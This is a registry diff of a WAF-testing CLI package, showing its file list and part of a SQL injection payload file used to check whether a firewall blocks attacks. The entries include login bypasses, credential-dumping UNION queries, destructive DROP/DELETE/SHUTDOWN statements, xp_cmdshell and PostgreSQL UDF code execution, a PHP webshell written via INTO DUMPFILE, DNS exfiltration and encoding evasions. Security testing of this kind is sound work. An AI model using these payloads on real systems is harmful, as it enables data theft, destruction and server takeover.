@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,681 @@
1
+ [
2
+ {
3
+ "id": "INJ-SQLI-001",
4
+ "payload": "' OR '1'='1",
5
+ "tags": [
6
+ "basic",
7
+ "union",
8
+ "quick"
9
+ ],
10
+ "expected_block": true,
11
+ "severity_hint": "Critical",
12
+ "notes": "Classic boolean-based SQLi - always true condition",
13
+ "category": "Injection"
14
+ },
15
+ {
16
+ "id": "INJ-SQLI-002",
17
+ "payload": "' OR 1=1--",
18
+ "tags": [
19
+ "basic",
20
+ "comment",
21
+ "quick"
22
+ ],
23
+ "expected_block": true,
24
+ "severity_hint": "Critical",
25
+ "notes": "Auth bypass with comment terminator",
26
+ "category": "Injection"
27
+ },
28
+ {
29
+ "id": "INJ-SQLI-003",
30
+ "payload": "admin'--",
31
+ "tags": [
32
+ "basic",
33
+ "comment",
34
+ "quick"
35
+ ],
36
+ "expected_block": true,
37
+ "severity_hint": "Critical",
38
+ "notes": "Username with comment to bypass password check",
39
+ "category": "Injection"
40
+ },
41
+ {
42
+ "id": "INJ-SQLI-004",
43
+ "payload": "' UNION SELECT NULL--",
44
+ "tags": [
45
+ "union",
46
+ "quick"
47
+ ],
48
+ "expected_block": true,
49
+ "severity_hint": "Critical",
50
+ "notes": "Basic UNION injection",
51
+ "category": "Injection"
52
+ },
53
+ {
54
+ "id": "INJ-SQLI-005",
55
+ "payload": "' UNION SELECT username, password FROM users--",
56
+ "tags": [
57
+ "union",
58
+ "exfiltration"
59
+ ],
60
+ "expected_block": true,
61
+ "severity_hint": "Critical",
62
+ "notes": "Data exfiltration via UNION",
63
+ "category": "Injection"
64
+ },
65
+ {
66
+ "id": "INJ-SQLI-006",
67
+ "payload": "1' AND 1=2 UNION SELECT table_name FROM information_schema.tables--",
68
+ "tags": [
69
+ "union",
70
+ "enumeration"
71
+ ],
72
+ "expected_block": true,
73
+ "severity_hint": "High",
74
+ "notes": "Schema enumeration",
75
+ "category": "Injection"
76
+ },
77
+ {
78
+ "id": "INJ-SQLI-007",
79
+ "payload": "'; DROP TABLE users--",
80
+ "tags": [
81
+ "destructive",
82
+ "quick"
83
+ ],
84
+ "expected_block": true,
85
+ "severity_hint": "Critical",
86
+ "notes": "Destructive query - should NEVER reach backend",
87
+ "category": "Injection"
88
+ },
89
+ {
90
+ "id": "INJ-SQLI-008",
91
+ "payload": "' AND SLEEP(5)--",
92
+ "tags": [
93
+ "timing",
94
+ "blind"
95
+ ],
96
+ "expected_block": true,
97
+ "severity_hint": "High",
98
+ "notes": "Time-based blind SQLi (MySQL)",
99
+ "category": "Injection"
100
+ },
101
+ {
102
+ "id": "INJ-SQLI-009",
103
+ "payload": "' AND pg_sleep(5)--",
104
+ "tags": [
105
+ "timing",
106
+ "blind",
107
+ "postgresql"
108
+ ],
109
+ "expected_block": true,
110
+ "severity_hint": "High",
111
+ "notes": "PostgreSQL time-based blind",
112
+ "category": "Injection"
113
+ },
114
+ {
115
+ "id": "INJ-SQLI-010",
116
+ "payload": "' OR ASCII(SUBSTRING(password,1,1))>64--",
117
+ "tags": [
118
+ "blind",
119
+ "boolean"
120
+ ],
121
+ "expected_block": true,
122
+ "severity_hint": "High",
123
+ "notes": "Boolean blind extraction",
124
+ "category": "Injection"
125
+ },
126
+ {
127
+ "id": "INJ-SQLI-011",
128
+ "payload": "1' ORDER BY 10--",
129
+ "tags": [
130
+ "enumeration"
131
+ ],
132
+ "expected_block": true,
133
+ "severity_hint": "Medium",
134
+ "notes": "Column count enumeration",
135
+ "category": "Injection"
136
+ },
137
+ {
138
+ "id": "INJ-SQLI-012",
139
+ "payload": "' AND 1=CONVERT(int, (SELECT @@version))--",
140
+ "tags": [
141
+ "error-based",
142
+ "mssql"
143
+ ],
144
+ "expected_block": true,
145
+ "severity_hint": "High",
146
+ "notes": "MSSQL error-based version disclosure",
147
+ "category": "Injection"
148
+ },
149
+ {
150
+ "id": "INJ-SQLI-013",
151
+ "payload": "%27%20OR%20%271%27%3D%271",
152
+ "tags": [
153
+ "encoded",
154
+ "basic",
155
+ "quick"
156
+ ],
157
+ "expected_block": true,
158
+ "severity_hint": "Critical",
159
+ "notes": "URL-encoded classic SQLi",
160
+ "category": "Injection"
161
+ },
162
+ {
163
+ "id": "INJ-SQLI-014",
164
+ "payload": "' OR 'x'='x",
165
+ "tags": [
166
+ "basic",
167
+ "variant"
168
+ ],
169
+ "expected_block": true,
170
+ "severity_hint": "Critical",
171
+ "notes": "Always-true string comparison variant",
172
+ "category": "Injection"
173
+ },
174
+ {
175
+ "id": "INJ-SQLI-015",
176
+ "payload": "' UNION ALL SELECT NULL, NULL, NULL--",
177
+ "tags": [
178
+ "union",
179
+ "null-padding"
180
+ ],
181
+ "expected_block": true,
182
+ "severity_hint": "Critical",
183
+ "notes": "UNION with NULL padding (column count guess)",
184
+ "category": "Injection"
185
+ },
186
+ {
187
+ "id": "INJ-SQLI-016",
188
+ "payload": "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
189
+ "tags": ["blind", "timing", "mysql", "subquery"],
190
+ "expected_block": true,
191
+ "severity_hint": "Critical",
192
+ "notes": "MySQL subquery time-based blind",
193
+ "category": "Injection"
194
+ },
195
+ {
196
+ "id": "INJ-SQLI-017",
197
+ "payload": "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))--",
198
+ "tags": ["error-based", "mysql", "extractvalue"],
199
+ "expected_block": true,
200
+ "severity_hint": "Critical",
201
+ "notes": "MySQL EXTRACTVALUE error-based",
202
+ "category": "Injection"
203
+ },
204
+ {
205
+ "id": "INJ-SQLI-018",
206
+ "payload": "' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user())),1)--",
207
+ "tags": ["error-based", "mysql", "updatexml"],
208
+ "expected_block": true,
209
+ "severity_hint": "Critical",
210
+ "notes": "MySQL UPDATEXML error-based",
211
+ "category": "Injection"
212
+ },
213
+ {
214
+ "id": "INJ-SQLI-019",
215
+ "payload": "' AND ROW(1,1)>(SELECT COUNT(*),CONCAT((SELECT user()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)--",
216
+ "tags": ["error-based", "mysql", "floor-rand"],
217
+ "expected_block": true,
218
+ "severity_hint": "Critical",
219
+ "notes": "MySQL floor/rand error-based extraction",
220
+ "category": "Injection"
221
+ },
222
+ {
223
+ "id": "INJ-SQLI-020",
224
+ "payload": "';WAITFOR DELAY '0:0:5'--",
225
+ "tags": ["timing", "blind", "mssql"],
226
+ "expected_block": true,
227
+ "severity_hint": "Critical",
228
+ "notes": "MSSQL WAITFOR time-based blind",
229
+ "category": "Injection"
230
+ },
231
+ {
232
+ "id": "INJ-SQLI-021",
233
+ "payload": "'; EXEC xp_cmdshell('whoami')--",
234
+ "tags": ["rce", "mssql", "xp_cmdshell"],
235
+ "expected_block": true,
236
+ "severity_hint": "Critical",
237
+ "notes": "MSSQL xp_cmdshell RCE",
238
+ "category": "Injection"
239
+ },
240
+ {
241
+ "id": "INJ-SQLI-022",
242
+ "payload": "'; EXEC sp_configure 'show advanced options',1--",
243
+ "tags": ["config", "mssql", "privilege-escalation"],
244
+ "expected_block": true,
245
+ "severity_hint": "Critical",
246
+ "notes": "MSSQL enable advanced options",
247
+ "category": "Injection"
248
+ },
249
+ {
250
+ "id": "INJ-SQLI-023",
251
+ "payload": "1; SELECT * FROM OPENROWSET('SQLOLEDB','server';'sa';'password','SELECT 1')--",
252
+ "tags": ["mssql", "openrowset", "lateral"],
253
+ "expected_block": true,
254
+ "severity_hint": "Critical",
255
+ "notes": "MSSQL OPENROWSET lateral movement",
256
+ "category": "Injection"
257
+ },
258
+ {
259
+ "id": "INJ-SQLI-024",
260
+ "payload": "' UNION SELECT LOAD_FILE('/etc/passwd'),2,3--",
261
+ "tags": ["mysql", "file-read", "load_file"],
262
+ "expected_block": true,
263
+ "severity_hint": "Critical",
264
+ "notes": "MySQL LOAD_FILE file read",
265
+ "category": "Injection"
266
+ },
267
+ {
268
+ "id": "INJ-SQLI-025",
269
+ "payload": "' UNION SELECT 1,2,3 INTO OUTFILE '/tmp/shell.php'--",
270
+ "tags": ["mysql", "file-write", "outfile"],
271
+ "expected_block": true,
272
+ "severity_hint": "Critical",
273
+ "notes": "MySQL INTO OUTFILE webshell",
274
+ "category": "Injection"
275
+ },
276
+ {
277
+ "id": "INJ-SQLI-026",
278
+ "payload": "' UNION SELECT '<?php system($_GET[c]);?>' INTO DUMPFILE '/var/www/s.php'--",
279
+ "tags": ["mysql", "file-write", "dumpfile", "rce"],
280
+ "expected_block": true,
281
+ "severity_hint": "Critical",
282
+ "notes": "MySQL INTO DUMPFILE RCE",
283
+ "category": "Injection"
284
+ },
285
+ {
286
+ "id": "INJ-SQLI-027",
287
+ "payload": "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
288
+ "tags": ["mysql", "error-based", "database-enum"],
289
+ "expected_block": true,
290
+ "severity_hint": "High",
291
+ "notes": "MySQL error-based database name",
292
+ "category": "Injection"
293
+ },
294
+ {
295
+ "id": "INJ-SQLI-028",
296
+ "payload": "' OR 1=1 LIMIT 1 OFFSET 1--",
297
+ "tags": ["basic", "pagination", "mysql"],
298
+ "expected_block": true,
299
+ "severity_hint": "Critical",
300
+ "notes": "SQLi with LIMIT/OFFSET pagination bypass",
301
+ "category": "Injection"
302
+ },
303
+ {
304
+ "id": "INJ-SQLI-029",
305
+ "payload": "1 AND 1=1 UNION SELECT @@version,NULL,NULL--",
306
+ "tags": ["union", "mysql", "version"],
307
+ "expected_block": true,
308
+ "severity_hint": "High",
309
+ "notes": "MySQL version via UNION",
310
+ "category": "Injection"
311
+ },
312
+ {
313
+ "id": "INJ-SQLI-030",
314
+ "payload": "' OR ''='",
315
+ "tags": ["basic", "empty-string"],
316
+ "expected_block": true,
317
+ "severity_hint": "Critical",
318
+ "notes": "Empty string comparison bypass",
319
+ "category": "Injection"
320
+ },
321
+ {
322
+ "id": "INJ-SQLI-031",
323
+ "payload": "' OR 1<2--",
324
+ "tags": ["basic", "numeric-comparison"],
325
+ "expected_block": true,
326
+ "severity_hint": "Critical",
327
+ "notes": "Less-than comparison bypass",
328
+ "category": "Injection"
329
+ },
330
+ {
331
+ "id": "INJ-SQLI-032",
332
+ "payload": "' OR 2>1--",
333
+ "tags": ["basic", "numeric-comparison"],
334
+ "expected_block": true,
335
+ "severity_hint": "Critical",
336
+ "notes": "Greater-than comparison bypass",
337
+ "category": "Injection"
338
+ },
339
+ {
340
+ "id": "INJ-SQLI-033",
341
+ "payload": "' OR 'a'<'b'--",
342
+ "tags": ["basic", "string-comparison"],
343
+ "expected_block": true,
344
+ "severity_hint": "Critical",
345
+ "notes": "String comparison bypass",
346
+ "category": "Injection"
347
+ },
348
+ {
349
+ "id": "INJ-SQLI-034",
350
+ "payload": "' OR 1=1#",
351
+ "tags": ["basic", "mysql", "hash-comment"],
352
+ "expected_block": true,
353
+ "severity_hint": "Critical",
354
+ "notes": "MySQL hash comment terminator",
355
+ "category": "Injection"
356
+ },
357
+ {
358
+ "id": "INJ-SQLI-035",
359
+ "payload": "' OR 1=1/*",
360
+ "tags": ["basic", "block-comment"],
361
+ "expected_block": true,
362
+ "severity_hint": "Critical",
363
+ "notes": "Block comment terminator",
364
+ "category": "Injection"
365
+ },
366
+ {
367
+ "id": "INJ-SQLI-036",
368
+ "payload": "admin'/**/OR/**/1=1--",
369
+ "tags": ["obfuscation", "comment-bypass"],
370
+ "expected_block": true,
371
+ "severity_hint": "Critical",
372
+ "notes": "Comment-based whitespace bypass",
373
+ "category": "Injection"
374
+ },
375
+ {
376
+ "id": "INJ-SQLI-037",
377
+ "payload": "'%20OR%20'1'%3D'1",
378
+ "tags": ["encoded", "url-encoding"],
379
+ "expected_block": true,
380
+ "severity_hint": "Critical",
381
+ "notes": "URL encoded SQLi",
382
+ "category": "Injection"
383
+ },
384
+ {
385
+ "id": "INJ-SQLI-038",
386
+ "payload": "'%0AOR%0A1=1--",
387
+ "tags": ["encoded", "newline-bypass"],
388
+ "expected_block": true,
389
+ "severity_hint": "Critical",
390
+ "notes": "Newline-based WAF bypass",
391
+ "category": "Injection"
392
+ },
393
+ {
394
+ "id": "INJ-SQLI-039",
395
+ "payload": "'%09OR%091=1--",
396
+ "tags": ["encoded", "tab-bypass"],
397
+ "expected_block": true,
398
+ "severity_hint": "Critical",
399
+ "notes": "Tab character WAF bypass",
400
+ "category": "Injection"
401
+ },
402
+ {
403
+ "id": "INJ-SQLI-040",
404
+ "payload": "' oR 1=1--",
405
+ "tags": ["obfuscation", "case-variation"],
406
+ "expected_block": true,
407
+ "severity_hint": "Critical",
408
+ "notes": "Mixed case bypass",
409
+ "category": "Injection"
410
+ },
411
+ {
412
+ "id": "INJ-SQLI-041",
413
+ "payload": "'||'1",
414
+ "tags": ["oracle", "concatenation"],
415
+ "expected_block": true,
416
+ "severity_hint": "Critical",
417
+ "notes": "Oracle string concatenation bypass",
418
+ "category": "Injection"
419
+ },
420
+ {
421
+ "id": "INJ-SQLI-042",
422
+ "payload": "' AND 1=(SELECT COUNT(*) FROM tabname);--",
423
+ "tags": ["subquery", "enumeration"],
424
+ "expected_block": true,
425
+ "severity_hint": "High",
426
+ "notes": "Subquery table enumeration",
427
+ "category": "Injection"
428
+ },
429
+ {
430
+ "id": "INJ-SQLI-043",
431
+ "payload": "' HAVING 1=1--",
432
+ "tags": ["having", "group-bypass"],
433
+ "expected_block": true,
434
+ "severity_hint": "High",
435
+ "notes": "HAVING clause injection",
436
+ "category": "Injection"
437
+ },
438
+ {
439
+ "id": "INJ-SQLI-044",
440
+ "payload": "' GROUP BY columnname HAVING 1=1--",
441
+ "tags": ["group-by", "having"],
442
+ "expected_block": true,
443
+ "severity_hint": "High",
444
+ "notes": "GROUP BY with HAVING",
445
+ "category": "Injection"
446
+ },
447
+ {
448
+ "id": "INJ-SQLI-045",
449
+ "payload": "1; INSERT INTO users VALUES('hacker','hacked')--",
450
+ "tags": ["stacked", "insert", "destructive"],
451
+ "expected_block": true,
452
+ "severity_hint": "Critical",
453
+ "notes": "Stacked query INSERT",
454
+ "category": "Injection"
455
+ },
456
+ {
457
+ "id": "INJ-SQLI-046",
458
+ "payload": "1; UPDATE users SET password='hacked' WHERE username='admin'--",
459
+ "tags": ["stacked", "update", "destructive"],
460
+ "expected_block": true,
461
+ "severity_hint": "Critical",
462
+ "notes": "Stacked query UPDATE",
463
+ "category": "Injection"
464
+ },
465
+ {
466
+ "id": "INJ-SQLI-047",
467
+ "payload": "1; DELETE FROM users WHERE 1=1--",
468
+ "tags": ["stacked", "delete", "destructive"],
469
+ "expected_block": true,
470
+ "severity_hint": "Critical",
471
+ "notes": "Stacked query DELETE all",
472
+ "category": "Injection"
473
+ },
474
+ {
475
+ "id": "INJ-SQLI-048",
476
+ "payload": "1; TRUNCATE TABLE users--",
477
+ "tags": ["stacked", "truncate", "destructive"],
478
+ "expected_block": true,
479
+ "severity_hint": "Critical",
480
+ "notes": "Stacked query TRUNCATE",
481
+ "category": "Injection"
482
+ },
483
+ {
484
+ "id": "INJ-SQLI-049",
485
+ "payload": "' AND EXISTS(SELECT * FROM users WHERE username='admin')--",
486
+ "tags": ["boolean", "exists", "enumeration"],
487
+ "expected_block": true,
488
+ "severity_hint": "High",
489
+ "notes": "EXISTS-based user enumeration",
490
+ "category": "Injection"
491
+ },
492
+ {
493
+ "id": "INJ-SQLI-050",
494
+ "payload": "' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--",
495
+ "tags": ["blind", "substring", "extraction"],
496
+ "expected_block": true,
497
+ "severity_hint": "High",
498
+ "notes": "Substring-based blind extraction",
499
+ "category": "Injection"
500
+ },
501
+ {
502
+ "id": "INJ-SQLI-051",
503
+ "payload": "' AND (SELECT LENGTH(password) FROM users WHERE username='admin')>5--",
504
+ "tags": ["blind", "length", "extraction"],
505
+ "expected_block": true,
506
+ "severity_hint": "High",
507
+ "notes": "Password length enumeration",
508
+ "category": "Injection"
509
+ },
510
+ {
511
+ "id": "INJ-SQLI-052",
512
+ "payload": "' AND ORD(MID((SELECT password FROM users LIMIT 1),1,1))>97--",
513
+ "tags": ["blind", "ord-mid", "mysql"],
514
+ "expected_block": true,
515
+ "severity_hint": "High",
516
+ "notes": "MySQL ORD/MID blind extraction",
517
+ "category": "Injection"
518
+ },
519
+ {
520
+ "id": "INJ-SQLI-053",
521
+ "payload": "' UNION SELECT table_name,column_name,1 FROM information_schema.columns--",
522
+ "tags": ["union", "schema-dump", "mysql"],
523
+ "expected_block": true,
524
+ "severity_hint": "Critical",
525
+ "notes": "MySQL column enumeration",
526
+ "category": "Injection"
527
+ },
528
+ {
529
+ "id": "INJ-SQLI-054",
530
+ "payload": "' UNION SELECT schema_name,1,1 FROM information_schema.schemata--",
531
+ "tags": ["union", "database-enum", "mysql"],
532
+ "expected_block": true,
533
+ "severity_hint": "High",
534
+ "notes": "MySQL database enumeration",
535
+ "category": "Injection"
536
+ },
537
+ {
538
+ "id": "INJ-SQLI-055",
539
+ "payload": "' UNION SELECT 1,user(),database()--",
540
+ "tags": ["union", "mysql", "info-disclosure"],
541
+ "expected_block": true,
542
+ "severity_hint": "High",
543
+ "notes": "MySQL user and database disclosure",
544
+ "category": "Injection"
545
+ },
546
+ {
547
+ "id": "INJ-SQLI-056",
548
+ "payload": "' AND BENCHMARK(10000000,SHA1('test'))--",
549
+ "tags": ["dos", "mysql", "benchmark"],
550
+ "expected_block": true,
551
+ "severity_hint": "High",
552
+ "notes": "MySQL BENCHMARK DoS/timing",
553
+ "category": "Injection"
554
+ },
555
+ {
556
+ "id": "INJ-SQLI-057",
557
+ "payload": "';SHUTDOWN--",
558
+ "tags": ["destructive", "shutdown", "mssql"],
559
+ "expected_block": true,
560
+ "severity_hint": "Critical",
561
+ "notes": "MSSQL server shutdown",
562
+ "category": "Injection"
563
+ },
564
+ {
565
+ "id": "INJ-SQLI-058",
566
+ "payload": "' OR pg_sleep(10)--",
567
+ "tags": ["timing", "postgresql", "blind"],
568
+ "expected_block": true,
569
+ "severity_hint": "High",
570
+ "notes": "PostgreSQL sleep timing",
571
+ "category": "Injection"
572
+ },
573
+ {
574
+ "id": "INJ-SQLI-059",
575
+ "payload": "'; COPY users TO '/tmp/users.txt'--",
576
+ "tags": ["postgresql", "file-write", "exfiltration"],
577
+ "expected_block": true,
578
+ "severity_hint": "Critical",
579
+ "notes": "PostgreSQL COPY file write",
580
+ "category": "Injection"
581
+ },
582
+ {
583
+ "id": "INJ-SQLI-060",
584
+ "payload": "'; DROP FUNCTION IF EXISTS exec_cmd;CREATE FUNCTION exec_cmd(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'c' STRICT;--",
585
+ "tags": ["postgresql", "rce", "udf"],
586
+ "expected_block": true,
587
+ "severity_hint": "Critical",
588
+ "notes": "PostgreSQL UDF RCE",
589
+ "category": "Injection"
590
+ },
591
+ {
592
+ "id": "INJ-SQLI-061",
593
+ "payload": "' UNION SELECT NULL FROM v$version--",
594
+ "tags": ["oracle", "version", "union"],
595
+ "expected_block": true,
596
+ "severity_hint": "High",
597
+ "notes": "Oracle version disclosure",
598
+ "category": "Injection"
599
+ },
600
+ {
601
+ "id": "INJ-SQLI-062",
602
+ "payload": "' UNION SELECT banner FROM v$version--",
603
+ "tags": ["oracle", "banner", "union"],
604
+ "expected_block": true,
605
+ "severity_hint": "High",
606
+ "notes": "Oracle banner extraction",
607
+ "category": "Injection"
608
+ },
609
+ {
610
+ "id": "INJ-SQLI-063",
611
+ "payload": "' AND UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual))--",
612
+ "tags": ["oracle", "dns-exfil", "oob"],
613
+ "expected_block": true,
614
+ "severity_hint": "Critical",
615
+ "notes": "Oracle DNS OOB exfiltration",
616
+ "category": "Injection"
617
+ },
618
+ {
619
+ "id": "INJ-SQLI-064",
620
+ "payload": "' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)--",
621
+ "tags": ["oracle", "timing", "blind"],
622
+ "expected_block": true,
623
+ "severity_hint": "High",
624
+ "notes": "Oracle time-based blind",
625
+ "category": "Injection"
626
+ },
627
+ {
628
+ "id": "INJ-SQLI-065",
629
+ "payload": "' UNION SELECT sqlite_version(),1,1--",
630
+ "tags": ["sqlite", "version", "union"],
631
+ "expected_block": true,
632
+ "severity_hint": "High",
633
+ "notes": "SQLite version disclosure",
634
+ "category": "Injection"
635
+ },
636
+ {
637
+ "id": "INJ-SQLI-066",
638
+ "payload": "' UNION SELECT name,sql,1 FROM sqlite_master--",
639
+ "tags": ["sqlite", "schema-dump"],
640
+ "expected_block": true,
641
+ "severity_hint": "Critical",
642
+ "notes": "SQLite schema extraction",
643
+ "category": "Injection"
644
+ },
645
+ {
646
+ "id": "INJ-SQLI-067",
647
+ "payload": "' AND (SELECT hex(randomblob(500000000)))--",
648
+ "tags": ["sqlite", "dos"],
649
+ "expected_block": true,
650
+ "severity_hint": "High",
651
+ "notes": "SQLite memory DoS",
652
+ "category": "Injection"
653
+ },
654
+ {
655
+ "id": "INJ-SQLI-068",
656
+ "payload": "1%bf%27%20OR%201=1--",
657
+ "tags": ["encoding", "gbk", "bypass"],
658
+ "expected_block": true,
659
+ "severity_hint": "Critical",
660
+ "notes": "GBK encoding bypass (addslashes)",
661
+ "category": "Injection"
662
+ },
663
+ {
664
+ "id": "INJ-SQLI-069",
665
+ "payload": "1%c0%27%20OR%201=1--",
666
+ "tags": ["encoding", "utf8-overlong", "bypass"],
667
+ "expected_block": true,
668
+ "severity_hint": "Critical",
669
+ "notes": "UTF-8 overlong encoding bypass",
670
